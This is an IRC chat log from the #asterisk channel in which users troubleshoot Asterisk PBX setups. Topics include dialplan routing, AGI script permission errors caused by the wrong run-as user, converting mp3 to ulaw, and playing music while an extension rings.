| 21:56.15 | miamiseb | The dial command looks a bit odd. Can you post your sip.conf with the secret= part redacted |
| 21:56.26 | miamiseb | Dial("SIP/153-00000047", "SIP/Easyvoip/return,300,") |
| 21:56.34 | miamiseb | 'sip show peers' would also be useful |
| 21:56.58 | p3nguin | It's trying to call outbound rather than direct to another phone. |
| 21:58.44 | miamiseb | yeah, it thinks the number you are trying to dial via the easyvoip trunk is "return" although from what I see you tried to dial 154... |
| 21:59.26 | p3nguin | All that crap is why we can't support FreePBX and/or Trixbox here. |
| 21:59.41 | miamiseb | I use thirdlane :P |
| 21:59.53 | miamiseb | but it's the same crap. Non-custom framework built dialplans |
| 22:00.00 | p3nguin | When you write your own dial plan, it's usually not THAT complicated. |
| 22:00.34 | itguru | miamiseb: p3nguin So, it's a fubard dialplan huh |
| 22:00.47 | p3nguin | I wouldn't have any idea. |
| 22:01.00 | miamiseb | Yeah, but it's a lot harder to read through the asterisk book and build up the knowledge from scratch that plug and play with a nice gui. Usually I don't mention I'm running a framework though, and make sure to reproduce my problem in a custom dialplan for testing |
| 22:01.27 | miamiseb | itguru: are you sure you copied it all? It doesn't seem reasonable that it would be sending 154 to voicemail right away. |
| 22:01.35 | miamiseb | Were you able to get me a "sip show peers" and your sip.conf? |
| 22:03.17 | itguru | miamiseb: Sorry, google gave me lots of links ...! |
| 22:04.04 | miamiseb | I keep getting [Sep 12 18:03:43] WARNING[22743]: rtp.c:1632 ast_rtp_read: RTP Read too short anyone have any ideas? |
| 22:04.27 | miamiseb | Should I even worry? Basically it means it read less than what the specified size of the packet was right? |
| 22:04.49 | itguru | The devices are all connected, and can all services, such as speaking clock, tell me my extension etc |
| 22:05.04 | miamiseb | Hmmm. |
| 22:05.10 | miamiseb | I don't know what you mean. |
| 22:05.55 | miamiseb | Were you able to get me a "sip show peers" and your sip.conf? Also, I believe there is more to the call log than what you pasted, is it possible you left some lines out at the top? |
| 22:05.55 | p3nguin | I think he means one phone can call a bunch of on-box extensions that do things, but not extensions that dial phones. |
| 22:06.58 | miamiseb | My guess it that it's a context issue, so the extension is in a context other than the one his outbound calls look for extensions in. |
| 22:08.59 | itguru | Can I make an extension ring from the cli? |
| 22:09.08 | p3nguin | Failed to execute '/var/lib/asterisk/agi-bin/dialparties.agi': Permission denied |
| 22:09.12 | p3nguin | There's the problem. |
| 22:09.22 | p3nguin | itguru: Extensions don't ring, phones do. |
| 22:09.23 | miamiseb | he's got another too. |
| 22:09.31 | miamiseb | == recordingcheck,20110912-175225,1315864345.155: Failed to execute '/var/lib/asterisk/agi-bin/recordingcheck': Permission denied |
| 22:09.57 | p3nguin | The dialparties.agi not working is why the phone never rings... |
| 22:10.13 | p3nguin | "Returned from dialparties with no extensions to call and DIALSTATUS: " |
| 22:10.34 | miamiseb | you'll have to check that the user asterisk is running as (viewable via a 'ps') and then set permissions accordingly either by chown 'ing it to the asterisk user/group or chmod 'ing it so the world can do what it needs |
| 22:10.52 | itguru | p3nguin: that file belongs to asterisk and group asterisk |
| 22:10.53 | *** join/#asterisk lucifurr (~lucifurr@65.172.54.254) |
| 22:10.57 | p3nguin | In your shell, what does "ps -C asterisk u" say? |
| 22:11.53 | itguru | p3nguin: ARRRRGHHHH!H!!!! Your terminal-fu is impressive, and I am wondering who the hell the user phonosystem is! |
| 22:12.09 | itguru | is going to kill a certain techie when he gets to work tomorrow |
| 22:13.03 | p3nguin | I guess you could check all the other files/directories that asterisk normally accesses, and see if it is better to change the ownership on the agi stuff or change the user/group that asterisk runs as. |
| 22:13.43 | p3nguin | also run "getent passwd phonosystem" for me. |
| 22:13.44 | carrar | You should lock your servers down |
| 22:14.01 | carrar | compromised from within |
| 22:14.41 | miamiseb | changing asterisk's user and group is done from /etc/init.d/asterisk for me. AST_USER and AST_GROUP |
| 22:14.59 | miamiseb | could try changing those two to asterisk, restarting asterisk, and attempting the call again. |
| 22:15.15 | p3nguin | I'm still interested in that user. |
| 22:18.13 | lucifurr | I'm looking for help creating a connection pool (oracle) within asterisk. I have a dialplan written in lua and I've written a lua extension (in C++ using OCCI) which allows me to call oracle stored procedures and return the results in a lua table. Does anybody have experience with this or is my question too open-ended? |
| 22:23.52 | *** join/#asterisk nighty^ (~nighty@69-165-220-105.dsl.teksavvy.com) |
| 22:27.37 | *** join/#asterisk seraphie (~erin@75.76.38.159) |
| 22:37.00 | itguru | miamiseb: It was a permission issue, once that was resolved, everything kicked in, but this system was recently hacked, so I'm going to grab the config, and rebuild on a safer system. |
| 22:42.38 | miamiseb | sounds like a good idea. Rootkits are getting better every day. |
| 22:44.36 | *** join/#asterisk pdtpatrick1 (~pdtpdt@mainstwan.farheap.com) |
| 22:44.59 | *** join/#asterisk navaismo (~navaismo@fixed-203-96-202.iusacell.net) |
| 22:45.17 | pdtpatrick1 | Question.. my asterisk console here and there would just SPIT a BUNCH of these out |
| 22:45.18 | pdtpatrick1 | http://pastebin.com/xEEwtcFR |
| 22:49.37 | *** join/#asterisk jonmasters (~jcm@edison.jonmasters.org) |
| 22:56.59 | treborsux | where are the wav files for where it says that extension is invalid |
| 22:57.22 | p3nguin | Where are all the other sound files? |
| 22:57.28 | treborsux | my people are too stupid to get that means it did not hear the extension right type it again |
| 22:58.09 | treborsux | i need to change that wav to something softer like I did not quit get that please type the extension again |
| 22:58.33 | treborsux | what wav file is that and what directory are they in? |
| 22:58.52 | p3nguin | It seems like the correct approach to that is to change the file name that is played rather than the change the file. |
| 23:00.14 | p3nguin | You'd have to look at your dial plan to see what file is being used, and you can then find the location of the file after you know its name. |
| 23:00.52 | p3nguin | It could be something like pbx-invalid, or could be something that I don't know about. |
| 23:02.02 | p3nguin | I'd look to see what file name extension 'i' is playing. |
| 23:06.18 | *** join/#asterisk f2knight (~ben@c-76-115-44-207.hsd1.or.comcast.net) |
| 23:12.44 | navaismo | pdtpatrick1 maybe some manager connection |
| 23:14.04 | *** join/#asterisk kaushal (~kaushal@14.97.22.157) |
| 23:14.11 | kaushal | paulc: hi |
| 23:15.51 | paulc | kaushal: hello :) |
| 23:15.55 | *** part/#asterisk Tech_Travis (~Travis_El@cpe-76-168-191-127.socal.res.rr.com) |
| 23:16.48 | *** join/#asterisk sawgood (~sawgood@173-13-158-27-sfba.hfc.comcastbusiness.net) |
| 23:20.15 | *** join/#asterisk eject_ck (~eject_ck@62.205.134.210) |
| 23:27.44 | kaushal | paulc: when i do sox obd-demo.mp3 -e stat |
| 23:27.53 | kaushal | sox: Failed reading obd-demo.mp3: Do not understand format type: mp3 |
| 23:28.19 | kaushal | basically i am trying to convert .mp3 to .ulaw as per your suggestion on CentOS 5.6 |
| 23:28.30 | kaushal | I am unable to do it |
| 23:29.09 | kaushal | paulc: Any other utility which can take care ? |
| 23:29.26 | paulc | kaushal: I usually use CoolEdit for that sort of thing. Or you can use Audacity, should work just as well. |
| 23:29.37 | kaushal | ok |
| 23:31.44 | kaushal | paulc: Any example using Audacity ? |
| 23:32.01 | kaushal | convert .mp3 to .ulaw (8 bit, 8KHz, headerless PCM/ulaw) |
| 23:32.06 | kaushal | as suggested by you |
| 23:32.29 | kaushal | I mean using cli method |
| 23:37.43 | lucifurr | Found this in sox man page on my CentOS 5.2 sys: .mp3 MP3 Compressed Audio |
| 23:37.43 | lucifurr | <PROTECTED> |
| 23:37.43 | lucifurr | <PROTECTED> |
| 23:37.43 | lucifurr | <PROTECTED> |
| 23:37.59 | rotten777 | is it possible to play a looped audio file to the caller while an extension is ringing? |
| 23:39.16 | lucifurr | @kaushal - so maybe look for RPM for libmad and/or libmp3lame? |
| 23:39.18 | navaismo | rotten777 use the m option in your dial app |
| 23:39.50 | rotten777 | navasimo i want incoming calls to be greeted with the audio instead of ringing |
| 23:41.00 | kaushal | lucifurr: ok |
| 23:41.26 | lucifurr | @kaushal - good luck |
| 23:42.29 | paulc | kaushal: The alternative would be record the announcements in native ulaw via Asterisk, but that may not be practical, depending on the content of the audio files right now (music etc) |
| 23:42.50 | paulc | rotten777: see the r (or maybe R?) option for the Dial command |
| 23:42.57 | paulc | or.. M even.. |
| 23:43.03 | paulc | r forces ringing - M is for music I think |
| 23:43.35 | rotten777 | hmm so it isn't something in extensions under the context for the inbound? |
| 23:44.51 | navaismo | you can set an IVR: answer() then playback or background and finally ring the extensions |
| 23:48.20 | paulc | If you want music while the destination is ringing, use the m(class) parameter for Dial |
| 23:48.38 | paulc | If you want to play music after answering the inbound call, before doing anything else, or as part of your IVR menu, use Background and WaitExten |
| 23:52.29 | navaismo | time to go bye |